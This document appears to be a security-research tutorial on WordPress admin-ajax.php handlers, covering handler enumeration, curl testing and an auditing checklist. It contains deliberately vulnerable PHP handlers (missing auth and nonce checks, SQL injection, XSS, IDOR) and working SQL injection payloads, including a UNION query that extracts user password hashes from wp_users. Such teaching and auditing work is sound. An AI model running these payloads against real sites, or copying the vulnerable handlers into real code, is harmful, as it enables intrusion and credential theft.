WordPress Internals

WordPress AJAX Hooks and Security

How wp_ajax and wp_ajax_nopriv hooks work, finding AJAX handlers, and exploiting common AJAX security vulnerabilities

WordPress AJAX Hooks and Security

WordPress AJAX is one of the most common attack surfaces in plugins and themes. The admin-ajax.php endpoint handles all AJAX requests and routes them to registered handlers. Misconfigured handlers are responsible for a large percentage of high-severity WordPress CVEs.

How admin-ajax.php Works

All AJAX requests pass through wp/wp-admin/admin-ajax.php. The file bootstraps WordPress, determines the current action, and dispatches to the registered handler.

The flow:

  1. Request arrives at admin-ajax.php with a POST parameter action
  2. WordPress fires wp_ajax_{action} for authenticated users (checked via cookie or Authorization header)
  3. WordPress fires wp_ajax_nopriv_{action} for unauthenticated users
  4. Both hooks fire in sequence if the plugin registers both
  5. If no handler is found, WordPress returns 0 or -1

The relevant code in admin-ajax.php:

// Simplified from wp-admin/admin-ajax.php
$action = $_REQUEST['action'];

if ( is_user_logged_in() ) {
    do_action( 'wp_ajax_' . $action );
} else {
    do_action( 'wp_ajax_nopriv_' . $action );
}

The key insight: WordPress does not validate or sanitize $action before appending it to the hook name. The action value directly controls which hook fires.

Registering AJAX Handlers

Plugins register handlers using add_action:

// Handler available to logged-in users only
add_action( 'wp_ajax_my_plugin_action', 'my_plugin_handle_ajax' );

// Handler available to everyone including unauthenticated users
add_action( 'wp_ajax_nopriv_my_plugin_action', 'my_plugin_handle_ajax' );

function my_plugin_handle_ajax() {
    // Handle request
    wp_die();
}

Handlers MUST call wp_die() at the end. Without it, WordPress appends a 0 to the response, which can sometimes interfere with JSON parsing but is not itself a vulnerability.

Finding AJAX Handlers with Grep

The most direct way to enumerate all registered AJAX actions in a plugin or theme:

# Find all wp_ajax_ and wp_ajax_nopriv_ registrations
grep -r "wp_ajax_" /var/www/html/wp-content/plugins/ --include="*.php" -n

# Find only nopriv handlers (accessible without login)
grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/ --include="*.php" -n

# Find the actual handler function names
grep -rP "add_action\s*\(\s*['\"]wp_ajax_" /var/www/html/wp-content/plugins/ --include="*.php" -n

# Extract action names from registrations
grep -rP "add_action\s*\(\s*['\"]wp_ajax_nopriv_([^'\"]+)" /var/www/html/wp-content/plugins/ \
  --include="*.php" -oP "wp_ajax_nopriv_\K[^'\"]+"

For a specific plugin:

PLUGIN_DIR="/var/www/html/wp-content/plugins/vulnerable-plugin"

# All AJAX actions
grep -r "wp_ajax" "$PLUGIN_DIR" --include="*.php" -n

# Handler functions - find where they're defined
HANDLERS=$(grep -rP "add_action\s*\(\s*['\"]wp_ajax_[^'\"]+['\"],\s*['\"]?\K[^'\")\s]+" \
  "$PLUGIN_DIR" --include="*.php" -oP)

# For each handler, find its definition
for handler in $HANDLERS; do
    grep -rn "function $handler" "$PLUGIN_DIR" --include="*.php"
done

Testing AJAX Handlers with curl

Basic Unauthenticated Request

# Test a nopriv handler
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=my_plugin_action'

# With additional parameters
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=my_plugin_action&param1=value1&param2=value2'

Authenticated Request

First, obtain a session cookie:

# Login and save cookie jar
curl -s -c /tmp/wp_cookies.txt -X POST 'https://target.example.com/wp-login.php' \
  -d 'log=admin&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1' \
  -H 'Cookie: wordpress_test_cookie=WP+Cookie+check'

# Use the session for AJAX requests
curl -s -b /tmp/wp_cookies.txt -X POST \
  'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=my_plugin_admin_action'

Testing with a Nonce

Some handlers require a nonce. Extract it from page source first:

# Fetch the page containing the nonce
curl -s -b /tmp/wp_cookies.txt 'https://target.example.com/some-page/' \
  | grep -oP 'nonce["\s:]+\K[a-f0-9]{10}'

# Use the extracted nonce
curl -s -b /tmp/wp_cookies.txt -X POST \
  'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=my_plugin_action&nonce=EXTRACTED_NONCE&data=payload'

Common AJAX Security Vulnerabilities

1. Missing Authentication Check (nopriv Exposure)

A handler registered with both wp_ajax_ and wp_ajax_nopriv_ that performs privileged operations:

// VULNERABLE: No capability check
add_action( 'wp_ajax_delete_user_data', 'delete_user_data_handler' );
add_action( 'wp_ajax_nopriv_delete_user_data', 'delete_user_data_handler' );

function delete_user_data_handler() {
    $user_id = intval( $_POST['user_id'] );
    // Deletes any user's data without checking if current user is authorized
    delete_user_meta( $user_id, 'sensitive_data' );
    wp_send_json_success();
}

Testing:

# Works without any authentication
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=delete_user_data&user_id=1'

2. Missing Nonce Verification

// VULNERABLE: No nonce check
add_action( 'wp_ajax_update_settings', 'update_settings_handler' );

function update_settings_handler() {
    // Should call check_ajax_referer() here
    $option = sanitize_text_field( $_POST['option_name'] );
    $value  = sanitize_text_field( $_POST['option_value'] );
    update_option( $option, $value );
    wp_send_json_success();
}

This is exploitable via CSRF from any page the admin visits. See the CSRF article for exploitation details.

Secure version:

function update_settings_handler() {
    check_ajax_referer( 'update_settings_nonce', 'security' );
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_send_json_error( 'Insufficient permissions', 403 );
    }
    // ... rest of handler
}

3. Missing Capability Check

Registered only for logged-in users but no role/capability verification:

// VULNERABLE: Any logged-in user (subscriber) can trigger this
add_action( 'wp_ajax_export_all_data', 'export_all_data_handler' );

function export_all_data_handler() {
    check_ajax_referer( 'export_nonce' ); // Nonce is present, but...
    // No current_user_can() check - any subscriber can export all data
    $data = $wpdb->get_results( "SELECT * FROM wp_users" );
    wp_send_json_success( $data );
}

4. SQL Injection via POST Parameters

// VULNERABLE: Direct POST parameter interpolation
add_action( 'wp_ajax_search_orders', 'search_orders_handler' );
add_action( 'wp_ajax_nopriv_search_orders', 'search_orders_handler' );

function search_orders_handler() {
    global $wpdb;
    $search = $_POST['search'];
    // Direct interpolation - SQL injection
    $results = $wpdb->get_results(
        "SELECT * FROM {$wpdb->prefix}orders WHERE order_name LIKE '%$search%'"
    );
    wp_send_json_success( $results );
}

SQL injection test:

# Boolean-based test
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d "action=search_orders&search=test' AND 1=1-- -"

# UNION-based extraction
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  --data-urlencode "action=search_orders" \
  --data-urlencode "search=x' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -"

# Time-based blind
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  --data-urlencode "action=search_orders" \
  --data-urlencode "search=x' AND SLEEP(5)-- -"

5. Insufficient Output Encoding Leading to XSS

// VULNERABLE: Reflects unsanitized input
add_action( 'wp_ajax_nopriv_get_product_info', 'get_product_info_handler' );

function get_product_info_handler() {
    $product_name = $_POST['product_name'];
    // Directly echoing user input in HTML response
    echo '<div class="product">' . $product_name . '</div>';
    wp_die();
}

6. IDOR via AJAX

// VULNERABLE: No ownership check
add_action( 'wp_ajax_get_private_note', 'get_private_note_handler' );

function get_private_note_handler() {
    global $wpdb;
    check_ajax_referer( 'notes_nonce' );
    $note_id = intval( $_POST['note_id'] );
    // Fetches any note by ID without checking ownership
    $note = $wpdb->get_row(
        $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}notes WHERE id = %d", $note_id )
    );
    wp_send_json_success( $note );
}

How WordPress Determines Authentication for AJAX

When a request hits admin-ajax.php, WordPress runs wp_get_current_user() which calls determine_current_user. The authentication sequence:

  1. Checks $_COOKIE for wordpress_logged_in_{hash} cookie
  2. Checks HTTP Authorization header for application passwords (format: base64(username:app_password))
  3. Checks $_REQUEST['_wpnonce'] for REST API nonce-based auth
  4. Fires the determine_current_user filter (allows plugins to add custom auth)

For testing authenticated endpoints programmatically:

# Using application passwords (WP 5.6+)
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -H 'Authorization: Basic $(echo -n "admin:xxxx xxxx xxxx xxxx xxxx xxxx" | base64)' \
  -d 'action=my_admin_action'

# Proper base64 encoding
AUTH=$(echo -n "admin:xxxx xxxx xxxx xxxx xxxx xxxx" | base64)
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -H "Authorization: Basic $AUTH" \
  -d 'action=my_admin_action'

WordPress Core AJAX Actions (Reference)

WordPress itself registers numerous AJAX actions. Some relevant ones for security research:

# List core AJAX actions (they all follow this pattern in wp-admin/)
grep -r "wp_ajax_" /var/www/html/wp-admin/ --include="*.php" -n | grep "add_action"

# Core actions registered in wp-admin/includes/ajax-actions.php
grep "add_action.*wp_ajax_" /var/www/html/wp-admin/includes/ajax-actions.php

Key core AJAX actions:

  • wp_ajax_heartbeat - Session keep-alive, runs frequently
  • wp_ajax_query-attachments - Media library queries
  • wp_ajax_save-post - Auto-save
  • wp_ajax_add-user - User creation (admin only)
  • wp_ajax_delete-plugin - Plugin deletion (admin only)

Automated Handler Discovery

Script to enumerate all AJAX handlers in a WordPress installation and test each one:

#!/bin/bash
TARGET="https://target.example.com"
PLUGIN_DIR="/var/www/html/wp-content/plugins"

# Extract all nopriv action names
ACTIONS=$(grep -rP "add_action\s*\(\s*['\"]wp_ajax_nopriv_\K[^'\"]*" \
  "$PLUGIN_DIR" --include="*.php" -oh | sort -u)

echo "Found nopriv actions:"
for action in $ACTIONS; do
    echo -n "Testing $action: "
    RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/wp-admin/admin-ajax.php" \
      -d "action=$action")
    echo "$RESPONSE"
done

Response Patterns and What They Mean

ResponseMeaning
-1Nonce check failed (action exists but requires nonce)
0Action not found, or handler returned nothing
1Generic success (handler called wp_die(1))
{"success":true,...}Handler called wp_send_json_success()
{"success":false,...}Handler called wp_send_json_error()
-1 from check_ajax_refererNonce invalid (plugin returned it directly)

When fuzzing, a response other than 0 means the action was recognized and a handler ran.

Alternate AJAX Entry Points

While admin-ajax.php is the standard entry point, some plugins process AJAX via:

  1. Custom PHP files in the plugin directory (accessed directly)
  2. WordPress REST API (/wp-json/)
  3. wp-login.php actions
  4. init hook with $_REQUEST['action'] checks
# Find plugins that handle requests directly (not via admin-ajax.php)
grep -rn "\$_POST\|\$_GET\|\$_REQUEST" /var/www/html/wp-content/plugins/ \
  --include="*.php" -l | xargs grep -l "defined.*ABSPATH.*exit\|die"

# Find files that check for their own request parameters on init
grep -rn "add_action.*init" /var/www/html/wp-content/plugins/ \
  --include="*.php" -A5 | grep -A4 "\$_GET\|\$_POST\|\$_REQUEST"

Security Checklist for Auditing AJAX Handlers

When reviewing an AJAX handler, check:

  1. Is the handler registered with wp_ajax_nopriv_? If so, can unauthenticated users cause harm?
  2. Does the handler call check_ajax_referer() or wp_verify_nonce() early?
  3. Does the handler call current_user_can() with the appropriate capability?
  4. Are all POST/GET parameters sanitized before database queries?
  5. Are all output values properly escaped before echoing?
  6. Does the handler perform file operations? If so, are paths validated?
  7. Does the handler make server-side HTTP requests based on user input (SSRF)?
  8. Does the handler wp_die() at the end, or does execution fall through?
# Grep pattern to find handlers missing nonce checks
# (finds function definitions that don't contain check_ajax_referer or wp_verify_nonce)
grep -rP "add_action\s*\(\s*['\"]wp_ajax_" /var/www/html/wp-content/plugins/my-plugin/ \
  --include="*.php" -n

# For each function found, verify it contains a nonce check
grep -A 30 "function my_handler_function" /path/to/plugin/file.php | \
  grep -c "check_ajax_referer\|wp_verify_nonce"